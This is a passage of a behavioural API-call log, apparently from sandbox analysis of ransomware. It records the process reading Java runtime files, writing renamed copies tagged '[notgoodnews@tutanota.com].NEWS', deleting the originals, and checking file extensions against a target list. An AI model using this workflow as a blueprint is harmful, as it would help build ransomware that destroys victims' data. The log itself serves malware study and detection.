dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0089.807] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.807] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.807] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.807] GetLastError () returned 0x0 [0089.807] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x2da40, lpOverlapped=0x0) returned 1 [0089.812] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x2da50, lpOverlapped=0x0) returned 1 [0089.815] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.815] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xee, lpOverlapped=0x0) returned 1 [0089.816] SetEndOfFile (hFile=0x35c) returned 1 [0089.816] CloseHandle (hObject=0x35c) returned 1 [0089.816] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.816] SetEndOfFile (hFile=0x36c) returned 1 [0089.828] CloseHandle (hObject=0x36c) returned 1 [0089.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.828] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.829] lstrlenW (lpString=".doc") returned 4 [0089.829] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.829] lstrlenW (lpString=".docx") returned 5 [0089.829] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0089.829] lstrlenW (lpString=".pdf") returned 4 [0089.829] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.829] lstrlenW (lpString=".xls") returned 4 [0089.829] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.829] lstrlenW (lpString=".xlsx") returned 5 [0089.829] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0089.829] lstrlenW (lpString=".ppt") returned 4 [0089.829] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.829] lstrlenW (lpString=".zip") returned 4 [0089.829] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.829] lstrlenW (lpString=".rar") returned 4 [0089.829] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.829] lstrlenW (lpString=".bz2") returned 4 [0089.829] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.829] lstrlenW (lpString=".7z") returned 3 [0089.829] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.829] lstrlenW (lpString=".dbf") returned 4 [0089.829] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.829] lstrlenW (lpString=".1cd") returned 4 [0089.829] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.829] lstrlenW (lpString=".jpg") returned 4 [0089.829] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.830] lstrlenW (lpString=".doc") returned 4 [0089.830] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.830] lstrlenW (lpString=".docx") returned 5 [0089.830] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0089.830] lstrlenW (lpString=".pdf") returned 4 [0089.830] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.830] lstrlenW (lpString=".xls") returned 4 [0089.830] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.830] lstrlenW (lpString=".xlsx") returned 5 [0089.830] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0089.830] lstrlenW (lpString=".ppt") returned 4 [0089.830] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.830] lstrlenW (lpString=".zip") returned 4 [0089.830] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.830] lstrlenW (lpString=".rar") returned 4 [0089.830] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.830] lstrlenW (lpString=".bz2") returned 4 [0089.830] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.830] lstrlenW (lpString=".7z") returned 3 [0089.830] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.830] lstrlenW (lpString=".dbf") returned 4 [0089.830] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.830] lstrlenW (lpString=".1cd") returned 4 [0089.830] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0089.830] lstrlenW (lpString=".jpg") returned 4 [0089.830] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.830] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.830] lstrlenW (lpString="glass.dll") returned 9 [0089.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0089.831] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=265792) returned 1 [0089.831] CloseHandle (hObject=0x36c) returned 1 [0089.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0089.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0089.831] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.831] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.832] GetLastError () returned 0x0 [0089.832] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x40e40, lpOverlapped=0x0) returned 1 [0090.422] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x40e50, lpOverlapped=0x0) returned 1 [0090.426] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.427] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe6, lpOverlapped=0x0) returned 1 [0090.427] SetEndOfFile (hFile=0x35c) returned 1 [0090.427] CloseHandle (hObject=0x35c) returned 1 [0090.427] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.427] SetEndOfFile (hFile=0x36c) returned 1 [0090.430] CloseHandle (hObject=0x36c) returned 1 [0090.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.430] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1 [0090.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.430] lstrlenW (lpString=".doc") returned 4 [0090.430] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.430] lstrlenW (lpString=".docx") returned 5 [0090.430] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0090.430] lstrlenW (lpString=".pdf") returned 4 [0090.430] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.430] lstrlenW (lpString=".xls") returned 4 [0090.430] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.430] lstrlenW (lpString=".xlsx") returned 5 [0090.431] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0090.431] lstrlenW (lpString=".ppt") returned 4 [0090.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.431] lstrlenW (lpString=".zip") returned 4 [0090.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.431] lstrlenW (lpString=".rar") returned 4 [0090.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.431] lstrlenW (lpString=".bz2") returned 4 [0090.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.431] lstrlenW (lpString=".7z") returned 3 [0090.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.431] lstrlenW (lpString=".dbf") returned 4 [0090.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.431] lstrlenW (lpString=".1cd") returned 4 [0090.431] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.431] lstrlenW (lpString=".jpg") returned 4 [0090.431] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.431] lstrlenW (lpString=".doc") returned 4 [0090.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.431] lstrlenW (lpString=".docx") returned 5 [0090.431] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0090.431] lstrlenW (lpString=".pdf") returned 4 [0090.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.431] lstrlenW (lpString=".xls") returned 4 [0090.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.431] lstrlenW (lpString=".xlsx") returned 5 [0090.431] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0090.431] lstrlenW (lpString=".ppt") returned 4 [0090.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.432] lstrlenW (lpString=".zip") returned 4 [0090.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.432] lstrlenW (lpString=".rar") returned 4 [0090.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.432] lstrlenW (lpString=".bz2") returned 4 [0090.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.432] lstrlenW (lpString=".7z") returned 3 [0090.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.432] lstrlenW (lpString=".dbf") returned 4 [0090.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.432] lstrlenW (lpString=".1cd") returned 4 [0090.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0090.432] lstrlenW (lpString=".jpg") returned 4 [0090.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.432] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.432] lstrlenW (lpString="jaas_nt.dll") returned 11 [0090.432] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0090.433] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=21056) returned 1 [0090.433] CloseHandle (hObject=0x36c) returned 1 [0090.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0090.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0090.433] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.433] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0090.434] GetLastError () returned 0x0 [0090.434] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x5240, lpOverlapped=0x0) returned 1 [0090.435] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x5250, lpOverlapped=0x0) returned 1 [0090.437] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.437] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1 [0090.437] SetEndOfFile (hFile=0x35c) returned 1 [0090.437] CloseHandle (hObject=0x35c) returned 1 [0090.437] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.437] SetEndOfFile (hFile=0x36c) returned 1 [0090.438] CloseHandle (hObject=0x36c) returned 1 [0090.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.438] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1 [0090.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.438] lstrlenW (lpString=".doc") returned 4 [0090.438] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.438] lstrlenW (lpString=".docx") returned 5 [0090.438] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0090.438] lstrlenW (lpString=".pdf") returned 4 [0090.439] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString=".xls") returned 4 [0090.439] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString=".xlsx") returned 5 [0090.439] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0090.439] lstrlenW (lpString=".ppt") returned 4 [0090.439] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.439] lstrlenW (lpString=".zip") returned 4 [0090.439] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString=".rar") returned 4 [0090.439] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString=".bz2") returned 4 [0090.439] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.439] lstrlenW (lpString=".7z") returned 3 [0090.439] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.439] lstrlenW (lpString=".dbf") returned 4 [0090.439] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.439] lstrlenW (lpString=".1cd") returned 4 [0090.439] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.439] lstrlenW (lpString=".jpg") returned 4 [0090.439] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.439] lstrlenW (lpString=".doc") returned 4 [0090.439] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString=".docx") returned 5 [0090.439] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0090.439] lstrlenW (lpString=".pdf") returned 4 [0090.439] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString=".xls") returned 4 [0090.439] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.439] lstrlenW (lpString=".xlsx") returned 5 [0090.440] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0090.440] lstrlenW (lpString=".ppt") returned 4 [0090.440] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.440] lstrlenW (lpString=".zip") returned 4 [0090.440] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.440] lstrlenW (lpString=".rar") returned 4 [0090.440] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.440] lstrlenW (lpString=".bz2") returned 4 [0090.440] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.440] lstrlenW (lpString=".7z") returned 3 [0090.440] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.440] lstrlenW (lpString=".dbf") returned 4 [0090.440] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.440] lstrlenW (lpString=".1cd") returned 4 [0090.440] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0090.440] lstrlenW (lpString=".jpg") returned 4 [0090.440] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.440] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0090.440] lstrlenW (lpString="jabswitch.exe") returned 13 [0090.440] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0090.441] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=34368) returned 1 [0090.441] CloseHandle (hObject=0x36c) returned 1 [0090.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0090.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0090.441] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.441] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0090.441] GetLastError () returned 0x0 [0090.441] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x8640, lpOverlapped=0x0) returned 1 [0090.443] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x8650, lpOverlapped=0x0) returned 1 [0090.445] ReadFile (in: hFile=0x36c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, 